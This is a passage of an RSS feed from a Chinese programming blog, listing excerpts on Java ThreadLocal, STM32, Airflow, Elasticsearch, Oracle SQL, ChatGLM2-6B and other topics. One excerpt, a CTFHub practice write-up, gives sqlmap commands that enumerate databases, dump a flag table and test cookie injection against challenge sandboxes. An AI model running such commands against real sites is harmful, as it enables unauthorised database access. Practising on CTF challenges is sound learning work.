      <link>https://bchobby.github.io/posts/8cddc0f9caf20de5d0bffc0018ae65de/</link>
      <pubDate>Sat, 15 Jul 2023 17:00:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cddc0f9caf20de5d0bffc0018ae65de/</guid>
      <description>写在开始 :&#xA;本文主要讲述 : ThreadLocal简介; 常用API; demo案例; 特点引用场景;以及部分底层原理源码内容。&#xA;引言 ： 从常见面试题看 ThreadLocal:&#xA;**①解释 **： ThreadLocal是多线程中对于解决线程安全的一个操作类，它会为每个线程都分&#xA;配一个独立的线程副本从而解决了变量并发访问冲突的问题。ThreadLocal 同时&#xA;实现了线程内的资源共享;&#xA;②案例：使用JDBC操作数据库时，会将每一个线程的Connection放入各自的&#xA;ThreadLocal中，从而保证每个线程都在各自的 Connection 上进行数据库的操&#xA;作，避免A线程关闭了B线程的连接。&#xA;public class ThreadLocalTest { static ThreadLocal&amp;lt;String&amp;gt; threadLocal = new ThreadLocal&amp;lt;&amp;gt;(); public static void main(String[] args) { new Thread(() -&amp;gt; { String name = Thread.currentThread().getName(); threadLocal.set(&#34;itcast&#34;); // set(v)方法 ： 设置值 print(name); System.out.println(name + &#34;-after remove : &#34; + threadLocal.get()); // get()方法：获取值 }, &#34;t1&#34;).start(); new Thread(() -&amp;gt; { String name = Thread.</description>
    </item>
    <item>
      <title>STM32——led灯的点亮&#43;闪烁&#43;流水灯的实现</title>
      <link>https://bchobby.github.io/posts/3326af3350b8d04826a45e3484e99640/</link>
      <pubDate>Sat, 15 Jul 2023 16:01:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3326af3350b8d04826a45e3484e99640/</guid>
      <description>文章目录 一、LED点亮1.原理2.寄存器方式--代码3.库函数--代码4.结果展示 二、LED闪烁三、LED流水灯1.代码2.结果展示 一、LED点亮 1.原理 其方式有两种一种是寄存器方式一种是库函数方式，但其原理都是一样的。如原理图所示，与LED相连接的IO口置低电平即可点亮led灯&#xA;2.寄存器方式–代码 //寄存器方式 //主频8Mhz的时候实现1us延时的方法 //LED灯 //1，开时钟PE时钟 RCC-&amp;gt;APB2ENR |= 1&amp;lt;&amp;lt;6; //2，配置IO口 GPIOE-&amp;gt;CRL &amp;amp;= ~(0xffff&amp;lt;&amp;lt;8);//先清零指定寄存器位 GPIOE-&amp;gt;CRL |= 0x1111&amp;lt;&amp;lt;8;//设置模式为推挽输出模式 //3, 设置开关灯 GPIOE-&amp;gt;ODR |= 0xf&amp;lt;&amp;lt;2;//关灯操作 3.库函数–代码 (1)led.c：函数led_config()&#xA;//库函数 RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOE,ENABLE);&#x9;GPIO_InitTypeDef GPIO_InitStruct={0}; GPIO_InitStruct.GPIO_Mode=GPIO_Mode_Out_PP; GPIO_InitStruct.GPIO_Pin=GPIO_Pin_2; GPIO_InitStruct.GPIO_Speed=GPIO_Speed_2MHz; GPIO_Init(GPIOE,&amp;amp;GPIO_InitStruct); GPIO_ResetBits(GPIOE,GPIO_Pin_2); (2)main.c调用led_config&#xA;4.结果展示 二、LED闪烁 原理：让连接的IO口先置零再置1可以使其先亮再灭，我们先使灯置1，然后宏定义让灯反转，delay一个时间，代码如下&#xA;(1)led.c函数led_config()置1：&#xA;RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOE,ENABLE);&#x9;GPIO_InitTypeDef GPIO_InitStruct={0}; GPIO_InitStruct.GPIO_Mode=GPIO_Mode_Out_PP; GPIO_InitStruct.GPIO_Pin=GPIO_Pin_2; GPIO_InitStruct.GPIO_Speed=GPIO_Speed_2MHz; GPIO_Init(GPIOE,&amp;amp;GPIO_InitStruct); GPIO_SetBits(GPIOE,GPIO_Pin_2); (2)led.h宏定义灯的反转&#xA;#define LED1_Toggle() GPIOE-&amp;gt;ODR ^= (1&amp;lt;&amp;lt;2)//反转灯操作 (3)main.c调用&#xA;int main(void){ LED_Config(); while(1) { if(sys_time&amp;gt;=1000) { sys_time = 0; LED1_Toggle(); } } sys_time在delay.</description>
    </item>
    <item>
      <title>Airflow安装及使用</title>
      <link>https://bchobby.github.io/posts/5cf24291b6cc54da3555915ae726cd74/</link>
      <pubDate>Fri, 14 Jul 2023 23:12:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cf24291b6cc54da3555915ae726cd74/</guid>
      <description>文章目录 Airflow基本概念 概述名词 Airflow安装 安装Python环境 安装Miniconda创建Python3.8环境 安装Airflow修改数据库为MySQL修改执行器 部署使用Dag任务操作 删除Dag任务查看当前所有dag任务配置邮件服务器 Airflow基本概念 概述 Airflow是一个以编程方式编写，安排和监视工作流的平台。&#xA;使用Airflow将工作流编写任务的有向无环图（DAG）。Airflow计划程序在遵循指定的依赖项，同时在一组工作线程上执行任务。丰富的命令实用程序使在DAG上执行复杂的调度变的轻而易举。丰富的用户界面使查看生产中正在运行的管道，监视进度以及需要时对问题进行故障排除变的容易。&#xA;名词 （1）Dynamic：Airflow配置需要实用Python，允许动态生产管道。这允许编写可动态。这允许编写可动态实例化管道的代码。&#xA;（2）Extensible：轻松定义自己的运算符，执行程序并扩展库，使其适合于您的环境。&#xA;（3）Elegant：Airlfow是精简的，使用功能强大的Jinja模板引擎，将脚本参数化内置于Airflow的核心中。&#xA;（4）Scalable：Airflow具有模板块架构，并使用消息队列来安排任意数量的工作任务。&#xA;Airflow安装 https://airflow.apache.org&#xA;安装Python环境 Superset是由Python语言编写的Web应用，要求Python3.8的环境。&#xA;安装Miniconda conda是一个开源的包、环境管理器，可以用于在同一个机器上安装不同Python版本的软件包及其依赖，并能够在不同的Python环境之间切换，Anaconda包括Conda、Python以及一大堆安装好的工具包，比如：numpy、pandas等，Miniconda包括Conda、Python。&#xA;此处，我们不需要如此多的工具包，故选择MiniConda。&#xA;（1）下载Miniconda（Python3版本）&#xA;下载地址：https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh&#xA;（2）安装Miniconda&#xA;执行以下命令进行安装，并按照提示操作，直到安装完成。&#xA;[atguigu@hadoop102 lib]$ bash Miniconda3-latest-Linux-x86_64.sh 1 在安装过程中，出现以下提示时，可以指定安装路径：&#xA;（3）加载环境变量配置文件，使之生效&#xA;[atguigu@hadoop102 lib]$ source ~/.bashrc 1 （4）取消激活base环境&#xA;Miniconda安装完成后，每次打开终端都会激活其默认的base环境，我们可通过以下命令，禁止激活默认base环境。&#xA;[atguigu@hadoop102 lib]$ conda config --set auto_activate_base false 1 创建Python3.8环境 （1）配置conda国内镜像&#xA;(base) [atguigu@hadoop102 ~]$ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free (base) [atguigu@hadoop102 ~]$ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main (base) [atguigu@hadoop102 ~]$ conda config --set show_channel_urls yes 123 （2）创建python3.</description>
    </item>
    <item>
      <title>腾讯QQ 9 设计和变化</title>
      <link>https://bchobby.github.io/posts/f82c669350f62d435dca656fdca21fd7/</link>
      <pubDate>Fri, 14 Jul 2023 21:47:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f82c669350f62d435dca656fdca21fd7/</guid>
      <description>腾讯QQ 9是一款流行的即时通讯工具，以下是它的设计和变化：&#xA;1. 界面设计改进： QQ 9的界面设计相对于之前的版本更加简洁、明晰，平铺的版面设计也更加整齐，让人们更容易使用。&#xA;2. 新增语音直播与视频通话： QQ 9新增了语音直播和视频通话功能。这使得用户可以与朋友进行更加真实的互动，并且可以与朋友分享生活中的点滴。&#xA;3. 优化智能聊天功能： QQ 9的智能聊天功能升级了，它可以更好地理解用户的意图和语言，从而提供更好的聊天体验。&#xA;4. 提供更多的表情和语音消息： QQ 9增加了更多的表情和语音消息，这使得用户可以更好地表达自己的情感，更好地与朋友交流。&#xA;总体来说， QQ 9显著地提高了用户的聊天体验，同时也提供了更多的功能来满足用户的需求。</description>
    </item>
    <item>
      <title>ES的使用</title>
      <link>https://bchobby.github.io/posts/a8211a6efdff79dc556c4514e8ae96c9/</link>
      <pubDate>Fri, 14 Jul 2023 16:23:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8211a6efdff79dc556c4514e8ae96c9/</guid>
      <description>1.搭建环境 1.Docker部署&#xA;1.1) 拉取镜像 docker pull elasticsearch:7.4.0 1.2) 创建容器 docker run -id --name elasticsearch -d --restart=always -p 9200:9200 -p 9300:9300 -v /usr/share/elasticsearch/plugins:/usr/share/elasticsearch/plugins -e &#34;discovery.type=single-node&#34; elasticsearch:7.4.0 1.3) 配置中文分词器 ik 因为在创建elasticsearch容器的时候，映射了目录，所以可以在宿主机上进行配置ik中文分词器&#xA;在去选择ik分词器的时候，需要与elasticsearch的版本好对应上&#xA;把资料中的elasticsearch-analysis-ik-7.4.0.zip上传到服务器上,放到对应目录（plugins）解压&#xA;#切换目录 cd /usr/share/elasticsearch/plugins #新建目录 mkdir analysis-ik cd analysis-ik #root根目录中拷贝文件 mv elasticsearch-analysis-ik-7.4.0.zip /usr/share/elasticsearch/plugins/analysis-ik #解压文件 cd /usr/share/elasticsearch/plugins/analysis-ik unzip elasticsearch-analysis-ik-7.4.0.zip 1.4) 使用postman测试 192.168.200.130:9200/_analyze post请求 {&#34;analyzer&#34;:&#34;ik_max_word&#34;, &#34;text&#34;:&#34;欢迎使用ES&#34;} 2.创建索引 2.1 确定索引字段 2.2 那些需分词 { &#34;mappings&#34;:{ &#34;properties&#34;:{ &#34;id&#34;:{ &#34;type&#34;:&#34;long&#34;, &#34;copy_to&#34;:&#34;all&#34; }, &#34;publishTime&#34;:{ &#34;type&#34;:&#34;date&#34; }, &#34;</description>
    </item>
    <item>
      <title>MFC DoModel() 对话框不弹出 并且返回-1</title>
      <link>https://bchobby.github.io/posts/e713c42f30f76be25fc549d9763b95f6/</link>
      <pubDate>Fri, 14 Jul 2023 15:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e713c42f30f76be25fc549d9763b95f6/</guid>
      <description>AFX_MANAGE_STATE(AfxGetStaticModuleState());&#xA;在DoModel之前调用上面这句话</description>
    </item>
    <item>
      <title>API入门：如何利用python调用API接口获取数据进行测试</title>
      <link>https://bchobby.github.io/posts/2344f8df08552ec13c708af9c7c8414d/</link>
      <pubDate>Fri, 14 Jul 2023 15:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2344f8df08552ec13c708af9c7c8414d/</guid>
      <description>前言 Python 可以使用 requests 库来调用 API 接口获取数据。以下是基本的步骤：&#xA;安装 requests 库 pip install requests 导入 requests 库 import requests 【----帮助相关技术学习，以下所有学习资料文末免费领！----】&#xA;构建 API 请求的 URL 根据 API 文档，构建请求的URL。&#xA;例如， https://api.example.com/posts 是获取所有帖子的 URL。&#xA;发送 API 请求 使用 requests.get() 方法发送请求，并接收响应。&#xA;response = requests.get(url) 处理响应数据 响应的数据格式可能有多种，如 JSON、XML 等。&#xA;如果响应数据是 JSON 格式的，可以将其转换为 Python 字典并进行处理。&#xA;data = response.json() 完整的代码示例：&#xA;import requests url = &#34;https://api.example.com/posts&#34; response = requests.get(url) if response.status_code == 200: data = response.json() # 对响应数据进行处理 else: print(&#34;</description>
    </item>
    <item>
      <title>工作中性能压测总结及常用的linux命令</title>
      <link>https://bchobby.github.io/posts/b886eefb868a600eab061913c2b7cd3d/</link>
      <pubDate>Fri, 14 Jul 2023 14:28:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b886eefb868a600eab061913c2b7cd3d/</guid>
      <description>Q1：线上压测步骤：&#xA;1、写压测报备邮件和压测方案&#xA;2、准备压测脚本&#xA;3、申请发压机（私有云）&#xA;4、登录发压机 上传jmeter文件和csv文件 执行压测命令&#xA;5、写压测记录报告&#xA;压测工具 ：jmeter ，将压测脚本&amp;amp;压测数据上传到linux系统中（用rz命令），用命令行压测&#xA;Q2：压测方式2种：&#xA;1、单机压测&#xA;(1)压测执行命令：&#xA;cd .. 进入home目录下&#xA;sudo sh /home/yueling001/apache-jmeter-5.0/bin/jmeter.sh -n -t delegate.jmx -l delegate`date +%s`.jtl -e -o resultdelegate`date +%s`&#xA;(2)linux文件夹下载（聚合报告下载）&#xA;a、压缩文件夹&#xA;i：进入压测结果文件夹所在路径（用cd命令）&#xA;ii: tar cvzf ./opptyresult9.gz opptyresult&#xA;b、下载&#xA;sz opptyresult9.gz&#xA;（3）压测过程中 修改压测脚本&#xA;进入压测脚本所在路径&#xA;vim **.jmx /(需要搜索的内容 ps：“/&#34;相当于grep）&#xA;i （编辑）&#xA;esc&#xA;:wq! （强制退出并保存）&#xA;Q21：多个单机同时压测&#xA;注意点：脚本&amp;amp;csv文件一致&#xA;压测的tps：是多个单机的tps之和&#xA;avg：是多个单机的avg的平均值&#xA;2、分布式压测（master-slave/controller-agent）&#xA;压测步骤：&#xA;a、选择一个机器做为controller（存放压测脚本**.jmx），其他多个机器作为agent（存放csv文件（为了模拟线上真实的场景，入参和Header等的取值一般采用变量的形式），注：多个agent中存放csv文件的路径要保持一致）&#xA;b、修改jmeter的bin路径下的jmeter.properties中的remote_host的值 配置远程的agentid&#xA;c、在对应的agent上启动jmeter-server&#xA;i: cd /home/yueling001/apache-jmeter-5.0/bin&#xA;ii: nohup ../yueling001/apache-jmeter-5.0/bin/jmeter-server -Djava.</description>
    </item>
    <item>
      <title>Flutter可能会凉凉的7个理由</title>
      <link>https://bchobby.github.io/posts/6e01eb4077faea7ba51ef13025d544b3/</link>
      <pubDate>Fri, 14 Jul 2023 12:13:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e01eb4077faea7ba51ef13025d544b3/</guid>
      <description>Flutter是一款由Google推出的跨平台移动应用开发框架，近年来备受关注。尽管Flutter在某些方面表现出色，但仍然有一些人对它的发展前景表示怀疑。近期一些文章针对Flutter的发展提出了不少质疑和批评，称其难以成为移动应用开发的“顶流明星”，这些文章中提到了不少问题和缺陷，从技术实现、生态系统、用户体验等方面进行了分析和评价。&#xA;一、语言问题 Flutter使用Dart语言，这是一种较新的面向对象语言，虽然其语法简单、易于阅读和编写，但是相比其他常用编程语言，Dart的使用率较低，这使得某些开发者可能会认为Flutter的学习曲线较陡峭。此外，Dart的生态系统相对较小，这意味着在使用Flutter开发应用程序时，可能需要自己编写一些必要的功能或者使用不太流行的第三方库。然而，Dart的静态类型检查和强类型安全性可以提高代码的可维护性和可读性，从长远来看，可能更有益于应用程序的稳定性和可靠性。&#xA;二、开发人员生态系统 Flutter的生态系统相对较小，这是因为Flutter是一个较新的框架，相对于React Native或Ionic等其他框架而言，Flutter的开发者数量和用户群体较少，其社区和生态系统相对薄弱。这使得一些开发者可能会发现在使用Flutter开发应用程序时，需要花费更多的时间和精力去解决问题，或者自己编写某些必要的功能。然而，随着Flutter的不断发展和壮大，其社区和生态系统也在逐渐扩大和完善，未来可能会有更多的第三方库和工具出现，更多的开发者会参与到Flutter的开发中来，这有助于提升Flutter的生态系统。&#xA;三、学习成本问题 尽管Flutter的语法相对简单易懂，但是学习Flutter需要一定的编程基础和经验。尤其对于没有移动端开发经验的开发者而言，学习Flutter可能需要花费更多的时间和精力。此外，由于Flutter的生态系统相对较小，一些问题需要自己解决或者使用不太流行的第三方库，这可能会增加学习成本和难度。但是，与其他移动端开发框架相比，Flutter的学习成本并不算高，只要掌握了基本的编程概念和语法，就可以开始使用Flutter进行开发。&#xA;相比于Flutter，小程序容器技术的跨平台开发更加容易上手，不需要像Flutter那样学习自定义UI组件和编写更多的代码来构建UI和处理逻辑。小程序容器技术提供了类似于Web开发的开发方式，开发者可以使用HTML、CSS和JavaScript等前端技术来开发小程序，并且可以通过一些开发工具和平台来快速构建和部署小程序。这使得小程序容器技术的开发门槛相对较低，即使是没有移动端开发经验的开发者也可以比较快速地上手。&#xA;此外，小程序容器技术的生态系统也相对较为成熟和完善，拥有庞大的用户群体和开发者社区。在小程序生态系统中，有很多的第三方库和组件可以使用，可以帮助开发者快速构建和开发小程序。与Flutter相比，小程序容器技术的生态系统更加丰富，能够提供更多的开发工具和解决方案，可以让开发者更加便捷地进行应用程序开发。&#xA;四、性能问题&#xA;Flutter的性能非常好，但与React Native等框架相比，仍然可能存在一些性能瓶颈。例如，在处理大量数据或复杂动画等方面，可能会出现性能问题。此外，Flutter中的UI渲染机制可能会导致更高的CPU和GPU使用率，因此在开发Flutter应用程序时，需要格外注意性能问题。尽管如此，Flutter在多个方面都优于其他框架，例如其快速的热重载功能和优秀的跨平台支持等，因此，Flutter的性能问题并不会成为开发者放弃使用Flutter的主要原因。&#xA;五、设计问题 Flutter的设计风格和开发方式可能不适合所有开发者。Flutter的设计风格比较激进，它采用了一种称为“自绘UI”的方式，这意味着所有UI组件都是自定义的，并且没有与平台原生UI组件一致的设计。这使得一些开发者可能会认为Flutter的设计方式与其他框架不同，需要适应一段时间才能习惯。此外，Flutter的开发方式与传统的声明式UI不同，开发者需要编写更多的代码来构建UI和处理逻辑。这使得一些开发者可能会认为Flutter的开发方式不太直观，需要花费更多的时间去理解和学习。&#xA;六、社区问题 尽管Flutter的社区和生态系统正在不断壮大，但相对于其他框架而言，Flutter的社区和用户群体仍然相对较小。这可能会导致一些问题难以得到及时的解决，或者无法找到合适的第三方库来解决某些问题。此外，由于Flutter相对较新，一些开发者可能会认为Flutter的文档和教程不够完善或者不够详细，这可能会影响开发者的使用体验和学习效率。然而，随着时间的推移，这些问题可能会得到逐步解决，Flutter的社区和生态系统也会越来越强大。&#xA;七、市场占有率问题 尽管Flutter在近几年来发展迅速，但其市场占有率仍然相对较低。目前，React Native仍然是移动端开发的主流框架之一，而Ionic、NativeScript等框架也有自己的用户群体。这可能会导致一些开发者对Flutter的使用持怀疑态度，认为Flutter的用户群体不够广泛，可能不具备足够的发展潜力。然而，随着Flutter的不断发展和壮大，其市场占有率也在逐渐提升，未来可能会有更多的企业和开发者选择使用Flutter进行应用程序开发。&#xA;虽然Flutter在某些方面还存在一些不足和挑战，但是我们也可以看到它的不断发展和进步。Google及其社区不断加强对Flutter的支持和推广，开发者们也在不断探索和使用Flutter来开发各种类型的应用程序。相信在未来的发展中，Flutter还会不断完善和优化，成为更加强大和有影响力的移动应用开发框架。&#xA;与此同时，我们也要意识到，每一款技术都有其适用的场景和局限性，我们需要在实际开发中根据项目需求和技术特点做出合理的选择和应用。</description>
    </item>
    <item>
      <title>Oracle-查询篇（简单查询、多表联查、子查询、分组聚合、字符串函数、单行函数、日期函数）</title>
      <link>https://bchobby.github.io/posts/e6b4b5f8ae5775bf5f9bcd59a7665338/</link>
      <pubDate>Fri, 14 Jul 2023 11:52:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6b4b5f8ae5775bf5f9bcd59a7665338/</guid>
      <description>文章目录 准备工作一、业主类型表（t_onwnertype）二、价格表（t_pricetable）三、区域表（t_area）四、收费员表（t_operator）五、地址表（t_address）六、业主表（t_owners）七、收费台账（t_account） 一、简单查询（单表）1.精确查询2.模糊查询3.and运算符4.or运算符5. and 与 or 运算符混合使用6. 范围查询7. 空值查询 二、去掉重复记录三、排序查询1.升序查询2.降序排序 四、基于伪列的查询1.rowid2.rownum 五、聚合统计1.聚合函数2.分组聚合 Group by3.分组后条件查询 having 二、连接查询（一）多表内连接查询（二）左外连接查询（三）右外连接查询 三、子查询（一）where 子句中的子查询1. 单行子查询2. 多行子查询in运算符 （二）from 子句中的子查询（三）select 子句中的子查询 四、分页查询（一）简单分页（二）基于排序的分页 五、单行函数（一）字符函数（二）数值函数（三）日期函数（四）转换函数（五）其它函数（六）行列转换（七）分析函数八、集合运算（一）什么是集合运算（二）并集运算（三）交集运算（四）差集运算 准备工作 以黑马程序员Oracle教程为例，需要准备七张表，表结构及关系如下（Oracle数据库不区分大小写，最终都会转换为大写）：&#xA;一、业主类型表（t_onwnertype） 字段名类型（位数）是否必填说明idnumber是主键namevarchar2(30)是类型名称 二、价格表（t_pricetable） 字段名类型（位数）是否必填说明idnumber是主键pricenumber(10,2)是价格ownertypeidnumber是业主类型idminnumnumber(10,2)是区间数开始值maxnumnumber(10,2)是区间数截止值 三、区域表（t_area） 字段名类型（位数）是否必填说明IDnumber是主键namevarchar2（30）是区域名称 四、收费员表（t_operator） 字段名类型（位数）是否必填说明idnumber是主键namevarchar2(30)是操作员名称 五、地址表（t_address） 字段名类型（位数）是否必填说明idnumber是主键namevarchar2(30)是地址名称areaidnumber是区域idoperatoridnumber是操作员id 六、业主表（t_owners） 字段名类型（位数）是否必填说明idnumber是主键namevarchar2（30）是业主名称addressidnumber是地址idhousenumbernumber是门牌号watermetervarchar2（30）是水表编号adddatedate是登记日期ownertypeidnumber是业主类型id 七、收费台账（t_account） 字段名类型（位数）是否必填说明IDnumber是主键owneridnumber是业主编号ownertypeidnumber是业主类型areaidnumber是所在区域yearchar（4）是账务年份monthchar（2）是账务月份num0number上月累计数num1number本月累计数usenumnumber本月使用数meteruseridnumber抄表员metedatadate抄表日期moneynumber（10,2）应缴金额isfeechar（1）是否缴费feedatedate缴费日期feeuseridnumber收费员 七张表的关系如下：&#xA;大家自己可以使用DDL语言自己按照表结构创建表，或者使用下面代码创建，同时插入数据:&#xA;注意：大家在创建表之前，要先创建表空间、在表空间中创建用户、给用户赋予权限、然后登录用户，在用户中创建表。&#xA;--建立价格区间表 create table t_pricetable ( id number primary key, price number(10,2), ownertypeid number, minnum number, maxnum number ); --业主类型 create table t_ownertype ( id number primary key, name varchar2(30) ); --业主表 create table t_owners ( id number primary key, name varchar2(30), addressid number, housenumber varchar2(30), watermeter varchar2(30), adddate date, ownertypeid number ); --区域表 create table t_area ( id number, name varchar2(30) ); --收费员表 create table t_operator ( id number, name varchar2(30) ); --地址表 create table t_address ( id number primary key, name varchar2(100), areaid number, operatorid number ); --账务表-- create table t_account ( id number primary key, owneruuid number, ownertype number, areaid number, year char(4), month char(2), num0 number, num1 number, usenum number, meteruser number, meterdate date, money number(10,2), isfee char(1), feedate date, feeuser number ); create sequence seq_account; --业主类型 insert into t_ownertype values(1,&#39;居民&#39;); insert into t_ownertype values(2,&#39;行政事业单位&#39;); insert into t_ownertype values(3,&#39;商业&#39;); --地址信息-- insert into t_address values( 1,&#39;明兴花园&#39;,1,1); insert into t_address values( 2,&#39;鑫源秋墅&#39;,1,1); insert into t_address values( 3,&#39;华龙苑南里小区&#39;,2,2); insert into t_address values( 4,&#39;河畔花园&#39;,2,2); insert into t_address values( 5,&#39;霍营&#39;,2,2); insert into t_address values( 6,&#39;回龙观东大街&#39;,3,2); insert into t_address values( 7,&#39;西二旗&#39;,3,2); --业主信息 insert into t_owners values(1,&#39;范冰&#39;,1,&#39;1-1&#39;,&#39;30406&#39;,to_date(&#39;2015-04-12&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(2,&#39;王强&#39;,1,&#39;1-2&#39;,&#39;30407&#39;,to_date(&#39;2015-02-14&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(3,&#39;马腾&#39;,1,&#39;1-3&#39;,&#39;30408&#39;,to_date(&#39;2015-03-18&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(4,&#39;林小玲&#39;,2,&#39;2-4&#39;,&#39;30409&#39;,to_date(&#39;2015-06-15&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(5,&#39;刘华&#39;,2,&#39;2-5&#39;,&#39;30410&#39;,to_date(&#39;2013-09-11&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(6,&#39;刘东&#39;,2,&#39;2-2&#39;,&#39;30411&#39;,to_date(&#39;2014-09-11&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(7,&#39;周健&#39;,3,&#39;2-5&#39;,&#39;30433&#39;,to_date(&#39;2016-09-11&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(8,&#39;张哲&#39;,4,&#39;2-2&#39;,&#39;30455&#39;,to_date(&#39;2016-09-11&#39;,&#39;yyyy-MM-dd&#39;),1 ); insert into t_owners values(9,&#39;昌平区中西医结合医院&#39;,5,&#39;2-2&#39;,&#39;30422&#39;,to_date(&#39;2016-10-11&#39;,&#39;yyyy-MM-dd&#39;),2 ); insert into t_owners values(10,&#39;美廉美超市&#39;,5,&#39;4-2&#39;,&#39;30423&#39;,to_date(&#39;2016-10-12&#39;,&#39;yyyy-MM-dd&#39;),3 ); --操作员 insert into t_operator values(1,&#39;马小云&#39;); insert into t_operator values(2,&#39;李翠花&#39;); --地区-- insert into t_area values(1,&#39;海淀&#39;); insert into t_area values(2,&#39;昌平&#39;); insert into t_area values(3,&#39;西城&#39;); insert into t_area values(4,&#39;东城&#39;); insert into t_area values(5,&#39;朝阳&#39;); insert into t_area values(6,&#39;玄武&#39;); --价格表-- insert into t_pricetable values(1,2.</description>
    </item>
    <item>
      <title>LangChain &#43; ChatGLM2-6B 搭建个人专属知识库</title>
      <link>https://bchobby.github.io/posts/a24ff6028818abb06ffa54efaff377c9/</link>
      <pubDate>Fri, 14 Jul 2023 11:42:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a24ff6028818abb06ffa54efaff377c9/</guid>
      <description>之前教过大家利用 langchain + ChatGLM-6B 实现个人专属知识库，非常简单易上手。最近，智谱 AI 研发团队又推出了 ChatGLM 系列的新模型 ChatGLM2-6B，是开源中英双语对话模型 ChatGLM-6B 的第二代版本，性能更强悍。&#xA;树先生之所以现在才更新 ChatGLM2-6B 知识库教程，是想等模型本身再多迭代几个版本，不至于刚出的教程很快不适配，或者项目本身一堆 bug，那样大家使用体验也不好。&#xA;ChatGLM2-6B 介绍 ChatGLM2-6B 在保留了初代模型对话流畅、部署门槛较低等众多优秀特性的基础之上，引入了如下新特性：&#xA;更强大的性能：基于 ChatGLM 初代模型的开发经验，全面升级了基座模型。ChatGLM2-6B 使用了 GLM 的混合目标函数，经过了 1.4T 中英标识符的预训练与人类偏好对齐训练，评测结果显示，相比于初代模型，ChatGLM2-6B 在 MMLU（+23%）、CEval（+33%）、GSM8K（+571%） 、BBH（+60%）等数据集上的性能取得了大幅度的提升，在同尺寸开源模型中具有较强的竞争力。 更长的上下文：基于 FlashAttention 技术，将基座模型的上下文长度（Context Length）由 ChatGLM-6B 的 2K 扩展到了 32K，并在对话阶段使用 8K 的上下文长度训练，允许更多轮次的对话。更高效的推理：基于 Multi-Query Attention 技术，ChatGLM2-6B 有更高效的推理速度和更低的显存占用：在官方的模型实现下，推理速度相比初代提升了 42%，INT4 量化下，6G 显存支持的对话长度由 1K 提升到了 8K。 更开放的协议：ChatGLM2-6B 权重对学术研究完全开放，在获得官方的书面许可后，亦允许商业使用。 相比于初代模型，ChatGLM2-6B 多个维度的能力都取得了提升，以下是一些官方对比示例。&#xA;总的来说，看起来效果还不错，下面跟着树先生一起来试试水~&#xA;本文我将分 3 步带着大家一起实操一遍，并与之前 ChatGLM-6B 进行对比。&#xA;ChatGLM2-6B 部署ChatGLM2-6B 微调LangChain + ChatGLM2-6B 构建个人专属知识库 ChatGLM2-6B 部署 这里我们还是白嫖阿里云的机器学习 PAI 平台，使用 A10 显卡，这部分内容之前文章中有介绍。</description>
    </item>
    <item>
      <title>CTFHUB|SQL注入（sqlmap）</title>
      <link>https://bchobby.github.io/posts/6d79efc4ff450114c9fe2b3377097786/</link>
      <pubDate>Fri, 14 Jul 2023 10:58:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d79efc4ff450114c9fe2b3377097786/</guid>
      <description>差不多学了4天的SQL手工注入，学习一下sqlmap的使用，用工具偷偷懒。但等级越高，其速度越慢。&#xA;探测等级 --level1：默认的等级，会进行基本的测试，包括GET和POST方式。 --level2: 在原有的基础上增加对cookie的检测。 --level3: 增加对User Agent、Referer 的检测 --lever4: 更多的payload --level5: 最高等级，包含所有的payload,会尝试自动破解出cookie、xff等头部注入。 过程中都会有五个选择&#xA;一、整数型注入&#xA;1、找数据库&#xA;sqlmap.py -u &#34;http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1&#34; --dbs 2、找数据库里面的表&#xA;python sqlmap.py -u &#34;http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1&#34; -D sqli --tables 3、看表的列数&#xA;python sqlmap.py -u &#34;http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1&#34; -D sqli -T flag --columns 4、爆破列里面的内容&#xA;&amp;gt;python sqlmap.py -u &#34;http://challenge-1263a0320a449d85.sandbox.ctfhub.com:10800/?id=1&#34; -D sqli -T flag -C flag --dump 二、字符型注入&#xA;同一理&#xA;三、报错注入&#xA;同一理&#xA;四、布尔盲注&#xA;同一理&#xA;五、时间盲注&#xA;同一理&#xA;六、MySQL结构&#xA;同一理&#xA;七、Cookie注入&#xA;1、顾名思义，要拿到cookie值&#xA;2、需要设置level至少为2&#xA;python sqlmap.py -u &#34;http://challenge-aa747be60c43fb63.sandbox.ctfhub.com:10800/&#34; --cookie &#34;id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F&#34;</description>
    </item>
    <item>
      <title>[笔记] shell 脚本常用命令(I)</title>
      <link>https://bchobby.github.io/posts/aceb5d1cc9e8f66d43773534c1b4e827/</link>
      <pubDate>Fri, 14 Jul 2023 10:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aceb5d1cc9e8f66d43773534c1b4e827/</guid>
